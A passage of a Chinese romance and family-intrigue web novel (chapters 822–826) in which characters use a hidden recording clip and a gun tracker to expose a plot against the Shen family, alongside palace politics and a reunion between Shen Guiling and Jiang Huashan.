沈澈压住心中的疑虑,一页一页翻看。 直到翻到最后一页时,他的眸光忽然收缩。 “这……” 沈归灵的“灵”字,不知何故,墨迹多了一横,变成了“炅”。 沈归炅? 竟然敢在李儒眼皮子底下耍这种心思,关键还成功了! 沈澈一时也分不清,沈归灵这到底是聪明还是不要命。 李儒放下茶盏,从沈澈手里抽过合约,点着上面的签名,“你瞧瞧,现在的后辈,聪明得都快成精了。” 沈澈微微皱眉,李儒的反应不对,任何人知道自己被戏耍了,都不会是这种看戏的表情。 他斟酌片刻,试探道:“您似乎一点儿都不生气?” 李儒笑了笑,“我原本就没打算利用沈归灵,不过是个幌子,有什么好气的?” 沈澈略有些不解,“幌子?” “要给沈家这样的权贵扣上叛国的罪名,光靠嫁祸怎么行?这合约里的内容经不起推敲,沈归灵这五年销声匿迹,我这一点实际把柄都没有,以沈庄的能力,想要翻案轻而易举。” 话说着,李儒嘴角的笑意渐深,“可沈年就不一样了。他这些年作的恶,笔笔都落在实处,所以沈归灵不是我计划里的刀,沈年才是。你当我为什么要助沈年回国?因为只有他再次与沈家搭上关系,沈家才能被定罪。” 话已至此,沈澈还有什么不明白的? 他立马堆起笑脸,起身给李儒添茶,恭维道:“还是舅舅深谋远虑。” 李儒摆摆手,“不早了,你也回去休息吧。” 沈澈点头,起身告辞。 出了书房,沈澈脸上的笑意瞬间收拢。 夏星沉一直在走廊边等候,见状立马主动跟了上去。 沈澈不置一词,头也不回地走出李宅,等上了车,才慢条斯理地取下别在胸口的领带夹。 “你发明的这个东西的确好用。老家伙防备心这么重,竟然没有发现。” 夏星沉游刃有余地驾驶着车辆,通过后视镜扫了沈澈一眼,又毫无痕迹地注视前方,语调平淡:“这个录音夹会将收录的资料同步到您的个人云端。如果被李儒发现,也算另一张底牌。” 沈澈极为满意地点了点头,“做的不错。” 夏星沉微微颔首,没有再说话。 沈澈欣喜过后又冷静了下来,他盯着夏星沉打量片刻,忽然开口:“星沉,你和沈年是怎么认识的?” 当初可是沈年把夏星沉领到他身边的,原本他对夏星沉并不满意,但随着这段时间的接触,他发现夏星沉虽然年轻,但极有能力,不仅能在李家刁难中全身而退,还能顾全他的利益。 按理这样有能力的人应该重用,但夏星沉和沈年的关系,始终让他心怀芥蒂。 夏星沉默了片刻,缓缓道:“我奶奶病危,我需要钱。沈年用六十万买下了我的命,他让我跟着您。” 闻言,沈澈没有再开口。 十五分钟后,车辆驶入一栋豪华的私人别墅。 夏星沉下车,绕过车头替沈澈拉开车门。 沈澈弯腰下车,与夏星沉擦身而过时,不轻不重地拍了拍他的肩膀,“看看账户。” 等到沈澈进了大门,夏星沉从口袋里掏出手机,屏幕界面赫然弹出一条银行信息。 夏星沉淡淡扫了一眼尾款,不在意地划走了那条信息,指尖轻点,拨通了一则无名电话。 “嗯?” 夏星沉:“录音收到了?” “收到了。”电话那边的声音十分愉悦,“我就说你很适合做这笔生意。合作愉快~” 夏星沉抬头,看着头顶灰蒙蒙的天空。 “合作愉快。” * 第822章 他怕 沈归灵扬起的拳头骤然僵在半空。 那声音如同冰锥撞碎在炽热的烙铁上,瞬间将他满身的暴戾之气刺穿了一个口子。 他猛地转头,循声望去。 教堂残破的入口处,姜花衫正站在那里。她身后是浓得化不开的夜色,身前是废弃教堂里弥漫的尘土,她就站在明暗交界处,像一道劈开混沌的光。 沈归灵瞳孔剧烈收缩,揪着白密衣襟的手不自觉地松开。 白密从没觉得姜花衫的声音如这一刻悦耳过,简直就是神迹的福音。 眼看着头顶的拳头迟迟没有落下,他终于缓了口气,态度嚣张:“看见没,我都说了……” 话没说完,沈归灵滞空的拳头毫无预兆地落下。 砰的一声巨响,白密的头猛地撞向一边,半边脸立马肿了起来。 “沈……” 姜花衫愣了愣,还没反应过来怎么回事,沈归灵已彻底松开了白密,大步向她走来。 他眼里的血色一时还没褪尽,锐利全开的气场看着有些吓人。 姜花衫眼神一飘,忽然有些心虚。 沈归灵这么聪明,她这个时候出现,他一定反应过来刚才的绑架是个恶作剧。这么久没见面了,见面第一件事就是耍人,好像是有那么一点不厚道。 “咳……”她虚拳抵着唇边,轻咳了一声,“你听我解释……” 这话还没来得及宣之于口,声音就湮没在了一个猝不及防的拥抱里。 沈归灵大步跨过最后几步距离,没有停顿,没有迟疑,伸出双臂,猛地将姜花衫整个人紧紧拥入怀中。这个拥抱来得太突然,力道大得惊人,几乎带着一种失而复得的确认感。 沈归灵将脸轻轻贴着她的发梢,声音极轻,“没关系,不用解释。” 姜花衫僵在他怀里,一时忘了反应。她能感觉到沈归灵的怀抱在微微发抖,连呼吸都刻意放轻,他环在她背后的手臂收得极紧,就像是在确认她的真实。 “……” 不用解释? 白密捂着变形的半张脸,面无表情地看着眼前热烈相拥的恋人,最后终于忍无可忍,对着姜花衫咆哮怒吼:“解释!姜花衫你必须给老子解释清楚!!!” “……”姜花衫看着气得五官扭曲的白密,嘴角抽了抽。 这是被沈归灵打出毛病了? 不过,念在白密这次帮了她不小的忙,姜花衫决定还是讲一回义气。 她轻轻拍了拍沈归灵的后背,“其实,是我……” “我知道,但不重要。”沈归灵偏头吻了吻她的发间,语气温柔得不行。 姜花衫好像明白了什么,迟疑了一下,终是慢慢抬起手,轻轻回抱住了沈归灵紧绷的脊背。 “呵~?” 不重要? 白密莫名被气笑了,原来沈归灵没聋啊,刚才他那番解释这狗东西根本听进去了? 那为什么打他,就是因为想打他?! “好!好、得、很!”白密只觉自己像个笑话,咬牙切齿:“你们厉害!我走!我他妈就不该多管闲事!” 说完,他踉跄着转过身,背影写满了悲愤和决绝。 然而,刚走出没两步,白密忽然想到什么,身形一顿,猛地刹住了脚步。 不对!不能就这么走了!要这么轻易走了,今天这顿打岂不是白挨了?! 念此,白密瞬间通透了,恶狠狠地转过身,双手抱胸,斜睨着不远处的两人。 他就在这等着!等沈归灵抱完,高低得让他过来道个歉! * 此刻,废弃教堂更高一层的残破廊柱阴影里,另一道身影早已将下方的一切尽收眼底。 沈清予斜倚着一根斑驳的石柱,月光勾勒出他精致的侧脸轮廓,那双惯常含笑的丹凤眼里却没什么温度,只有一片沉静的审视。 他比沈归灵稍晚一步追踪至此,恰好目睹了方才那场激烈的冲突,原本还在因为沈归灵与白密互斗而幸灾乐祸,直到姜花衫突然出现…… 沈清予看着月下相拥的两人,嘴角的笑意带着些许自嘲。 原来当自己不是主角的时候,所谓的美好事物也这么地碍眼。 * 混乱的一夜终将过去,黎明星起,预示着新的一天即将到来。 与城郊的破败混乱截然不同,王宫区域灯火通明,卫兵肃立,处处彰显着皇家的秩序与森严。 沈兰晞用一封代表沈家主家的信函敲开了女王寝殿的大门,侍卫官破格招待了他,将他安置在招待贵宾的翡翠阁。 翡翠阁内,沉香袅袅。 沈兰晞端坐在华丽的丝绒扶手椅上,手边是一杯早已不再冒热气的红茶。 窗外,王宫的花园在渐亮的晨光中显露出朦胧轮廓,但室内依旧灯火通明,保持着夜晚的仪式感。 内侍官将他引入此处时,言辞恭敬地表示女王陛下即刻便到。然而,“即刻”变得无比漫长,沈兰晞已经被晾了超过一个小时。期间只有一名低阶侍女进来为他换过一次茶,动作轻悄,低眉顺目,对于女王的迟来没有任何解释。 沈兰晞脸上没有任何不耐的神色,依旧坐姿挺拔,目光平静地落在对面墙壁上一幅巨大的王室祖先油画上。他指节分明的手指轻轻搭在膝盖上,有一下没一下地敲击着,节奏平稳,看不出丝毫焦躁。 高止见他看得专注,不由被吸引了目光,不觉脱口而出:“少爷,没想到白家这位传奇帝王长得还挺帅的,跟沈归灵一样帅。” 沈兰晞皱了皱眉,偏头看向高止,“你说谁?” “完了!”高止吓得立马捂住嘴,赶紧找补,“我的意思是,沈归灵就是个小白脸,除了那张脸一无是处,哪比得上少爷您超凡脱俗、气质出尘!” 沈兰晞,“你的意思是,我没他好看?” “……”高止瞳孔地震,这要是回答不好可是送命题啊。他几乎不带犹豫,斩钉截铁道:“少爷,听话,咱不跟沈归灵比脸,咱就跟他比谁有钱,实在不行,比谁有权也行。” 沈兰晞沉默片刻,转过头,淡淡道,“我不听你的,你连清虚观的母猴子都说好看,能有什么眼光?” 高止,“……” 怎么回事,几日不见,菜鸡怎么变样了? 一股子酸味。 * 晨曦为女王寝殿镀上一层朦胧的金边。 白朱拉有早起的习惯,今日甚至比平日更早。 此刻女王正对镜梳理着那头保养得宜的白发,印着沈氏族徽的信件被随意丢在妆台上,甚至连信封都未曾撕开。 帕塔妮躬身,将一支镶嵌珍珠的发簪递到女王手中,白朱拉摇了摇头,越过珍珠发簪,选了一枚更为庄重的祖母绿。 “沈家那位小家主等多久了?” 帕塔妮微微欠身,“已经一个小时了。听奉茶的侍女说,那位少爷处变不惊,很有风度。” “沈家这位继承人,倒是沉得住气。”白朱拉神色淡淡,“难怪在沈园,处处都能压制阿灵一头。” 女王陛下从不说废话,帕塔妮抬眸,默默扫了白朱拉一眼,心领神会收回了目光,小心翼翼地退出了寝殿。 * 帕塔妮退出寝殿后,直接去了翡翠阁。 她步入主厅时,沈兰晞对着白普大帝的画像看得入神。帕塔妮主动上前,微微躬身,语气恭谨:“兰晞少爷,万分抱歉,让您久等了。” 沈兰晞站起身,目光从墙上的油画缓缓移向帕塔妮。 帕塔妮是白朱拉最得力的近侍,虽然沈兰晞气场压制,但她并不受影响,不卑不亢:“陛下原本已准备动身前来,不料突然接到边境传来的紧急军务,不得不即刻召见几位大臣商议,现在不便接见。” “陛下深感歉意,特命我前来致意。陛下对贵宾在S国遭遇的袭击事件深感抱歉,请沈少爷放心,王室定会给您一个交代。” 高止皱了皱眉,面无表情地凑近沈兰晞,“少爷,您说这女王是什么意思?她不见咱们,干嘛让咱们坐在这空等一个小时?” 沈兰晞只当没听见,微微颔首,用一口流利的S语回道:“多谢,还请替我转达对陛下的问候。” 帕塔妮优雅回礼:“沈少爷有心了。” 沈兰晞微微颔首,不再多言,转身出了主厅。 等两人的身影彻底消失在长廊尽头,帕塔妮脸上程式化的恭敬笑容慢慢收敛,恢复了一贯的冷静。 她并未立刻离开,而是转身看向身后那幅巨大的肖像油画。 画中的少年帝王目光如炬,威严地俯瞰着空荡的大厅。 帕塔妮走近几步,双手合十,对着画像俯身鞠躬,行了敬礼才直起身,双手击掌。 两名一直候在门外的侍卫应声而入,垂手听命。 帕塔妮:“把这幅画取下,仔细些。” 侍卫们训练有素,动作轻缓而专业地将沉重的油画从墙上取下。 其中一人忍不住低声疑惑:“帕塔妮大人,这幅画不是陛下特意吩咐挂在这里,以示对沈家贵宾的敬重吗?” 帕塔妮淡淡扫了那名侍卫一眼,眼神平静无波,却让后者立刻噤声低头。 她没有解释,只是命令道:“挂回主殿大厅。” * 西郊荒废教堂。 漫长而用力的拥抱过后,沈归灵终于渐渐松懈下来,那双眼尾泛红的瑞凤眼此刻已经恢复了往日的温柔。 “有没有受伤?” 姜花衫摇头。 沈归灵笑了笑,抬头转向白密,目光落下的瞬间笑容淡去,上挑的眼睑如同出鞘的刃,“你刚刚说,要绑架衫衫的另有其人?人在哪?” “……” 好端端的一个人怎么还有两副面孔? 白密俨然已经忘记自己还站在这的初始目的,面对血脉压制,不争气地咽了咽唾沫,指着十米开外的教堂,“在里面。” 沈归灵侧身,脱下身上的外套给姜花衫披上,他轻轻摸了摸她的脑袋,带着商量口吻:“等我一下?” “好。” 姜花衫偶尔的‘乖巧’让沈归灵很受用,指尖在她发梢最后流连了一瞬,才转身面向白密。 当他目光移开时,那份温柔如同潮水般退去。 “带路。” 白密被他这变脸速度噎了一下,憋着一肚子火和委屈,却又不敢发作,只能没好气地哼了一声,揉着仍然作痛的脸颊,转身朝教堂深处走去。 沈归灵步履沉稳地跟在他身后,仿佛刚才那个失控暴怒的人不是他。 * 教堂内部比外面看起来更加破败,月光透过残破的彩绘玻璃投下斑驳诡异的光影,空气中弥漫着尘土和霉菌的味道。 几名被捆得结结实实的男人歪倒在一堆废弃的长椅旁,嘴里塞着布团,看到白密去而复返,身后还跟着一个气场更冷、眼神更骇人的男人时,顿时惊恐地挣扎起来,发出呜呜的声音。 白密有种想要爆发又爆发不出的窝囊感,顺脚踢了踢离他最近的那个绑匪头子,“人都在这了,要问什么自己问。” 沈归灵掀眸看了他一眼,径直走向落满灰尘的木椅,指尖轻轻掸去浮尘,慢条斯理坐下。 他的坐姿很随意,双腿交叠,一只手搭在膝上,另一只手则随意地垂在身侧,指尖有一下没一下地轻点着椅子的木质扶手。 月光从破败的屋顶漏下,在他身上投下一半星辉的光影。 “白密,你跟姜花衫说了什么?” 白密猛地一下清醒,他终于知道沈归灵为什么要揍他了! 上次女王软禁姜花衫,让沈归灵对白家所有人都心生警惕。所以他不允许任何一个白家人接近姜花衫,因为他怕他们会因为对他有所企图而逼走姜花衫。 他怕。 * 夜风吹过,带起一阵凉意。 姜花衫目送沈归灵和白密的身影消失在教堂幽深的入口处,眉头拧成了一团麻花。 怎么感觉沈归灵那口气还没消?白密不会有事吧? 可就在这时,口袋里的手机忽然传来一声震动。 这个时候谁会给她打电话? 姜花衫掏出手机,在看见“嫡长闺”三个字时微愣了一下,想也没想便按下了接听键。 很快,傅绥尔俏皮的声音从电话那头钻了出来:“歪!衫衫!快看我给你发的邮件!!哈哈哈哈哈哈哈哈~~” “……” …… 第823章 被眷顾的宿命 “什么天大的好事,值得你一次用八个哈?” 姜花衫揉了揉嗡嗡作响的耳膜,一边问一边下意识抬眼望向沉寂的教堂,她心里还惦记着刚进去的沈归灵和白密。 “别问!快看!立刻!马上!保证惊掉你的下巴!我蹲了这么久,总算让我逮到大鱼了!哦,对了!记得躲起来一个人偷偷看,看完再打给我!快快快!” 傅绥尔语速快得像机关枪,根本不给姜花衫追问的机会,说完就火急火燎地挂了电话。 搞什么?还要躲起来偷偷看? 姜花衫虽然一头雾水,但还是照做,划开手机屏幕,点开了邮箱。 收件箱最上方,正是傅绥尔发来的新邮件,点开邮件,里面没有任何正文,只有一个名为【礼物.mp3】的音频附件。 姜花衫正要点开,忽然想起傅绥尔的叮嘱,指尖立马顿住。她看了看四周,最后将目光落在了沈归灵的车上。 安缇瞬间明白了她的意思,主动上前替姜花衫拉开车门,“姜小姐,您要是累了,可以先上车坐一会儿。” 姜花衫早就注意到了安缇,只不过眼下这个情况她不好多问。她笑着点了点头,迅速钻进了副驾驶。 车里的环境绝对私密,姜花衫这才点下了播放键。 耳机里先是传来一阵窸窸窣窣的杂音,像是有人在调整设备,随后,一道清晰的声线从听筒里传了出来—— -【舅舅,沈年知道李家这么多秘密,您真愿意送他回去?您就不怕他反水对李家不利吗?】 -【……】 -【可沈年就不一样了,他这些年作的恶笔笔都落在实处,沈归灵不是我计划里的刀,沈年才是。所以,你当我为什么要助沈年回国?因为只有他再次与沈家搭上关系,沈家才能被定罪。】 这是?沈澈的声音?那另一个苍老的声音就是李儒了? 巨大的信息量像海啸般冲击着姜花衫的大脑,让她一阵眩晕。她猛地按下暂停键,眼里的情绪如惊涛骇浪。 姜花衫深吸了一口气,手指有些发僵地快速回拨了傅绥尔的电话。 铃声只响了一下就被接起,显然傅绥尔一直在电话旁边守着。 “怎么回事?”还没等傅绥尔说话,姜花衫率先质问,“这录音你从哪儿弄来的?!傅绥尔,我不是不让你掺和李家的事吗?这录音是怎么回事?” 她声音因为太过惊讶而显得有些沙哑。 傅绥尔完全没料到姜花衫是这样的反应,一时有些措手不及,楠楠解释:“我……我想着能帮一点是一点,所以……” 姜花衫深吸了一口气,“所以你在见过白密后去了李家?你在监视李儒?!傅绥尔你是不是疯了?你知不知道这很危险?你要出了什么事,你让女王怎么办?” 傅绥尔笑了笑,缓和语气,“这不还有你吗?” “傅绥尔。”姜花衫的声音已经僵硬。 傅绥尔咬了咬唇,小声道:“对不起嘛~我只是不想你一个人这么辛苦,我知道你是担心我,但是……你相信我,我这次真的很有头脑,我保证不管是李儒还是沈澈都抓不到我的把柄。” 见姜花衫不接话,她立马放软声音,哄道:“哎呀~你别生气了,好在结果是好的,你看,我这不捞着一条大鱼了~也算给沈家立功了~你快表扬我。” “……”姜花衫捏了捏眉心,缓缓吐出一口浊气,“算了,事情都已经发生了。说吧,到底是怎么回事?” 傅绥尔见好就收,赶紧交代了事情的经过: “顺利和白密搭上线后,我立马就退出了围猎场。没想到第二天,李儒就以要给我外婆祈福的名义邀请我去李家做客。你时时让我提防李家,再加上李家收容了叛逃的沈澈,我便也猜到了李家是虎狼之地。” “可是……不还有句老话吗?不入虎穴焉得虎子?既然李家有问题,我为什么不借此机会一探究竟?我现在年岁小,又是女孩儿,李儒对我的防备心不重,正是查探的好时机。” 姜花衫不予置评,“然后呢?” “然后……”傅绥尔声音变得有些虚,干笑道,“然后……我给外婆烧香的寺庙突然起火了,我差点翻车嘎在里面。” 姜花衫面无表情,“然后呢?” 傅绥尔清了清嗓子,语调忽然轻快,“好在命运之神还是眷顾我的,沈亦泽突然闯进火里把我救了出去。不对!他不是沈亦泽,我慌乱中摘了他的面具,是个很年轻的男人。” “很年轻的男人?”姜花衫皱了皱眉,“他为什么救你?” “这问题我也问过他,但他说他路过,听见我叫救命就救了,没有为什么?你说奇不奇怪?” 姜花衫思忖了片刻,眉头紧蹙。 傅绥尔继续自说自话,“不过,我运气真的很好!他虽然不说,但我还是一眼认出了他,我知道他是谁,夏星沉,夏奶奶时刻挂在嘴边的宝贝孙子,我看过他的照片。” 听见‘夏星沉’三个字,姜花衫眼眸闪过一丝极细的微芒。 这些年,她想尽办法让傅绥尔避开夏星沉,没想到命运的齿轮竟然让他们在异国他乡重逢。最讽刺的是,那个渣男竟然摇身一变成了傅绥尔的救命恩人。 果然,剧目无时无刻不在修复。 姜花衫转头,看向窗外即将天明的红霞,轻声道,“然后呢?” 既然宿命不可避,她想知道现在的傅绥尔做好迎战的准备了吗? “然后?” 傅绥尔声音忽然饱满浑厚,“我当时脑子灵光一闪,这个夏星沉好端端地假扮阿泽哥,这里面一定有不可告人的秘密。于是我立马让枝枝帮我调取了夏星沉的所有资料,仔细研究过他的人物画像后,我找到了他的弱点。” “我故意利用夏奶奶威胁他给我做内应,打探沈澈和李儒的消息,并许诺事成之后给他一笔横财。” 姜花衫越听越玄乎,有些不敢相信,“所以……他同意了?这份录音是夏星沉帮你拿到的?” “对啊!”傅绥尔咧嘴一笑,“说起来他还挺好说话的,我还以为会大费周章呢~” “……”姜花衫突然不知道该说什么了。 傅绥尔乐呵到一半,想起什么,立马变得严肃起来,“衫衫,沈年呢?他真的已经逃回A国了吗?” “嗯。”姜花衫应了一声,“我赶去医院的时候还是晚了一步。” “那怎么办?要不我们把事情告诉爷爷吧,这样也能尽早防范。” “没有用。” 除了她之外,没有人能干预既定剧情,所以,这件事她必须好好谋划。 但所幸,有了这份证据,她们现在占据了完全的主导权。 姜花衫想了想,郑重道,“绥尔,这件事你暂时保密,谁都不能说,包括女王和枝枝。” “好。”傅绥尔想也没想就应下。 姜花衫又道,“还有那个夏星沉,你以后别再联系他了。他今天没有出卖你,未必明天不会。这种受利益驱使的囚徒,能避则避。” “好。我知道了。” 结束了和傅绥尔的通话,姜花衫的心绪并未完全平复。 傅绥尔的冒险让她后怕,而录音揭露的阴谋更让她感到肩头沉重。她迅速将音频文件下载到手机本地,并加密保存。 就在她准备退出邮箱应用时,指尖却在滑动屏幕的瞬间顿住了。 收件箱列表里,紧挨着傅绥尔那封标记着【!!!】的邮件下方,不知何时,悄然躺着另一封显示【未读】的匿名邮件。 姜花衫迟疑了片刻,轻轻点开了邮件…… …… 第824章 我们还有时间 教堂里。 “我说的话,你最好认真听进去。” 沈归灵站起身,掸了掸肩上并不存在的灰尘,转身向大门走去。 白密静静注视着他的背影,脸上的表情复杂难言。 当沈归灵踏出教堂破败的大门时,晨曦恰好刺破最后一丝夜色,将朦胧的光晕洒满荒芜的庭院。他一眼就看到了停在不远处的车,以及车内那个倚窗而坐的身影。 安缇如同一个无声的影子,在他出现的那一刻便已悄然侍立在车旁,为他拉开了驾驶位的车门。 沈归灵步履未停,径直走向车子,动作自然地坐了进去,他身上带进一股微凉的晨露气息和教堂里淡淡的尘土味。 坐在副驾驶座的姜花衫,手指还停留在手机屏幕上,似乎刚刚结束什么操作,眼神有些放空,带着沉思的痕迹,连他上车都没有反应。 沈归灵一眼就看出了她的异样,很自然地替她将颊边一缕被风吹乱的发丝拨到耳后,指尖不经意触碰到她微凉的耳垂,“怎么了?脸色不太好?” 姜花衫因他亲昵的动作微微一愣,随即摇了摇头,下意识握紧了口袋里的手机,“没,就是……有点累了。” 她避开了他的目光,转向窗外渐亮的天色,“你们谈完了?白密他……” 沈归灵的眸光在她的脸上停留了两秒,轻轻拉过姜花衫的手,十指相扣,“他不重要。不是累了吗?先回去休息?” 姜花衫犹豫片刻点了点头,“好。” 沈归灵闻言,轻轻捏了捏她的手,随即松开,熟练地启动车子。 引擎发出低沉的轰鸣,划破了教堂前清晨的寂静,车辆平稳地驶离了荒芜的教堂庭院,将身后一群人抛诸脑后。 姜花衫看着窗外飞速掠过的、越来越繁华的街景,回头看向沈归灵,“我们……这是要去哪里?回医院吗?” 沈归灵目视前方,侧脸在晨光中显得过分清俊,“医院的床又硬又小,你不是说累了吗?先找个地方让你好好休息一下。” * 最终,车辆停在了一家位于市中心的顶奢酒店门前。 顶层套房极其奢华宽敞,巨大的落地窗外,是整个城市在晨曦中苏醒的壮丽景色。 两人刚进房间,几乎是同一时间,口袋里的手机都传来了接连不断的震动声,急促得有些不寻常。 姜花衫愣了愣,正要拿手机,沈归灵砰地一声掩上门,一把扣住姜花衫的手腕,顺势将她轻轻一带,她的后背便抵在了冰凉坚硬的门板上。 “咔嚓——” 身后一声轻响,房门掩实自动落锁。 姜花衫下意识地抬头,对上沈归灵近在咫尺的眼眸。此刻那双半昏半暗的眸光中燃着幽暗的火焰,清晰地倒映出她的轮廓。 “沈归……” 她当然知道他想做什么,可刚启唇,沈归灵的吻便已经铺天盖地般落了下来,没有说完的话也被他吃进了肚子里。 他身上还带着室外微凉的晨露气息,混合着教堂里那种独特的尘土味,形成一种奇异的、充满侵略性的氛围。 他一手仍握着她的手腕,固定在门板上,另一只手则穿过她脑后的发丝,托住她的头,让她完全面向自己,他的唇有些凉,但触碰到她的瞬间,迅速变得滚烫,强势。 唇齿交缠间,他吻的意乱情迷,却又克己复礼,时不时轻咬她的下唇要她回应。 姜花衫的大脑有瞬间的空白,心脏在胸腔里剧烈地跳动,几乎要撞出来。沈归灵的气息将她完全笼罩,这种熟悉的、令人安心的味道,也让她生出了一丝贪恋。 她轻轻翘起指尖,一点点伸进滚烫的指缝。 感受到她的回应,沈归灵的吻似乎温柔了些许,沈归灵慢慢松开了桎梏,缓慢摩挲着掌心的柔夷,一边十指相扣一边温柔亲吻。 寂静的套房里,只剩下彼此急促的呼吸声和暧昧的水声。 晨光透过厚重的窗帘缝隙,悄悄洒落一线,恰好照亮了两人紧密相贴的身影,在光洁的门板上投下交叠的剪影。 不知过了多久,直到姜花衫感觉有些缺氧,轻轻呜咽了一声,沈归灵才缓缓放开她的唇,但额头依旧抵着她的,鼻尖相触,呼吸交融。 他的眼眸深不见底,里面翻涌着未退的情潮,“你刚刚想说什么?” 姜花衫,“我想提醒你,群消息我开了定位,他们说不定现在已经在楼下了。” “……”沈归灵沉默片刻,指尖轻轻摩挲着她微微红肿的唇瓣,波澜不惊,“还没敲门,我们还有时间。” …… 第825章 以身为棋 与此同时,一辆通体漆黑的商务车如同暗夜幽灵般,悄无声息地滑至酒店灯火辉煌的门廊下。流畅的车身反射着璀璨的霓虹,自带一种不容置喙的昂贵气场。 大堂经理一眼便识出这辆座驾的不凡,几乎是连走带跑地迎了出来。 男人脸上堆起职业性的殷勤笑容,主动躬身询问:“您好,请问是要预定……” 话音未落,沉重的车门被猛地从内推开,撞击声在苏醒的清晨格外清晰。 一只沾满泥屑的黑色运动鞋率先踏出,来人利落地弯腰下车,站直身体的瞬间,一股迫人的气场随之弥漫开来。 “刚刚是不是有一男一女进去?他们在哪?” “一男一女?” 经理表情古怪,来他们这的大多都是一男一女,这么问谁知道是谁啊? 不过,依照职业经验,经理已经断定眼前这个长相优越的男人来者不善,他立马挺直腰杆,端出工作多年的职业素养,“不好意思先生,酒店规矩,不能泄露客人隐……” 沈清予不语,只是随手抽出一张支票,“现在呢?” 侮辱谁呢? 这些有钱人脑子是不是被门夹了,听不懂人话? 经理偷偷瞄了一眼支票上的数字,瞬间腰弯了七寸,双手恭敬接过沈清予手里的支票,“很高兴为您服务。” * 三分钟后。 沈清予独自乘坐需要特殊权限才能启动的直达电梯,轿厢内壁光可鉴人,映出他面无表情的脸。 数字飞速跳动,攀升向顶层。 “叮——” 一声轻响,电梯门平稳滑开。 沈清予抬眸,把玩房卡的指尖忽然顿住,大步流星走了出去。可刚迈出两步,他的脚步就停了下来。 顶层奢华宽敞的休息区内,水晶灯散发着柔和的光晕。 有人并未如他预料的那般躲在房内瑟瑟发抖,而是好整以暇地坐在正对电梯口的丝绒沙发上,交叠着长腿,单手支颐,一副恭候多时的挑衅模样。 狗东西! 沈清予气笑,咬了咬腮帮,径直向着休息区走了过去。 “在等我?”沈清予半倚着沙发坐下,开门见山问道。 沈归灵指了指茶几前提前准备好的温水,表情温雅,“跟了一路口渴了吧?喝吧,喝完立马滚。” “嗤~”沈清予轻笑了一声,舔了舔干涸的嘴角,“你让谁滚?” “你啊。” 说着,沈归灵从腰后掏出手枪,动作流畅而迅速,黑洞洞的枪口在灯光下泛着冷硬的幽光,直指沈清予的眉心! 空气瞬间凝固。 沈清予眼睑微眯,嘴角扯出一抹似笑非笑的弧度,“怎么,见事情败露想杀我灭口?但……你也得有这个能耐才行,我可不是沈年。” 沈归灵笑了笑,指尖勾住手枪反转,另一只手快速动作,只听“咔嚓”一声轻响,弹夹被利落卸下。紧接着,他用指尖抵住弹夹底部的凹槽,一块比米粒还要微小的金属物体眨眼被弹了出来,落在掌心。 “杀人灭口?你的脑子也就只能看到这一步。” 沈归灵将那颗微小的监视器捏在指尖,举到眼前仔细看了看,随手对着沈清予砸了过去,“现在,你明白我们之间的差距了吗?” 沈清予闭了闭眼,看着掉落在脚下的追踪器,东西几乎没有重量,砸在脸上毫无感觉,但于他而言,这比直接甩他一巴掌更羞辱人。 沉默良久后,他缓缓掀眸,目光深邃,“你早就知道我在你的枪里放了东西,所以,你是故意引我去西郊的,也是故意让我看到那一幕的?” 沈归灵摇头,“你可以思考得再长远一点?比如,我找你买枪,就是想给你一个跟踪我的机会。” 沈清予皱眉,忽然想到什么,眼神闪过一抹幽光,“你利用我?” 他的声音里带着一丝恼羞成怒的怨恨,“引我去西郊撞破你的秘密不过是你顺手报复,你真正想做的是引我杀了沈年?” “你是什么时候确定我一定会动手杀沈年的?” 沈清予想想都觉得不可思议,目光一凝,有了答案。 “从我告诉你,衫衫让我带你回家开始。你知道不管是我还是沈兰晞都喜欢她,所以一定能听出她的言外之意。你搞这么多事,就是不想被人抓住杀害沈年的把柄,你想借刀杀人?!就像之前在别墅那样?!” “艹!沈归灵,你身上八百个心眼全用我身上了 ?” 沈归灵笑了笑,他没有否认,甚至还贴心解释:“形势所迫,你和沈兰晞都有免死金牌,就算真的杀了沈年,也有办法弥补。我就不同了,私生子嘛,难免做事小心些。” “……”沈清予简直要被沈归灵这不要脸的言论逗笑了,但被人算计得这么深他还是头一次,实在笑不出来。 他有些不甘心,咬牙瞪着沈归灵,“你……来S国,一开始的目的就是杀沈年?” 沈归灵思忖片刻,点了点头,“没错。” 他早就猜到事情不会一帆风顺,所以为了沈年这条命特意准备了两把‘刀’,一把明刀是他自己,还有一把暗刀就是沈清予。 沈清予还是有些不甘心,“你怎么知道我也会来S国?” “你会不会来S国我并不在意,我真正防的是沈兰晞。沈兰晞如果来了S国一定会打乱我的节奏,你一向和沈兰晞不对付,所以他如果来了S国,你必然不会缺席。事实证明,我果然没有猜错。” 沈清予忽然有种被猜中的羞辱感,蹭的一下站起身,“那衫衫呢?她也是被你这些阴谋诡计给骗了?” 沈归灵嘴角的笑意淡了不少,跟着站起身,撩着眼睑斜睨了沈清予一眼,慢慢向他走近。 两人擦身越过时,沈归灵才开口,眼神嘲讽,“你懂个屁!” 说着,他轻轻掸了掸与沈清予触碰的肩膀,“对你们这些傻逼叫阴谋诡计,对她,要换个词,叫以身为棋。” …… 第826章 针尖对麦芒 与沈清予的初次交锋,沈归灵算得上是大获全胜,不过,这还得益于之前对付沈兰晞积累的宝贵经验。 驱赶瘟神嘛,一回生二回熟。 沈归灵掩上套房房门,所有的算计与硝烟都隔绝在外。 套房里只留了一盏昏黄的壁灯,柔和的光线勾勒出客厅静谧的轮廓。里间卧室的门虚掩着,透出更暗沉的光线。他放轻脚步走过去,轻轻推开门。 宽大的床上,姜花衫蜷缩着身体已经睡着了。她呼吸均匀绵长,长睫在眼睑下投下淡淡的阴影,平日里带着几分张扬跋扈的小脸在睡梦中显得格柔静。 沈归灵站在门口,静静地看了好一会儿,眼神是自己都未曾察觉的柔软。 好在不管是沈兰晞还是沈清予,都默契地保留了不去打扰姜花衫的体面,不然这个觉只怕要睡的不安稳了。 沈归灵悄无声息地退出了卧室,轻轻带上门,转身走进了浴室。 温热的水流冲刷而下,沈归灵闭着眼,任由水珠打湿黑发,流过线条分明的下颌和胸膛。快速冲完澡,他随意擦了擦身体,裹了件浴袍便走了出来。 卧室里依旧安静,只有姜花衫清浅的呼吸声。 他走到床边,小心翼翼地掀开被子一角,躺了进去。床垫因他的重量微微下陷,熟睡中的姜花衫似乎有所感应,无意识地轻轻哼了一声,但并未醒来。 沈归灵侧过身,动作极轻地将她揽入怀中。她的身体温暖而柔软,带着淡淡的、属于她的清甜气息,瞬间充盈了他的怀抱和鼻尖。这种真实的触感和温度,让他一直紧绷的神经终于彻底松弛下来。 姜花衫在梦中下意识地向他怀里靠了靠,寻找了一个更舒适的姿势。 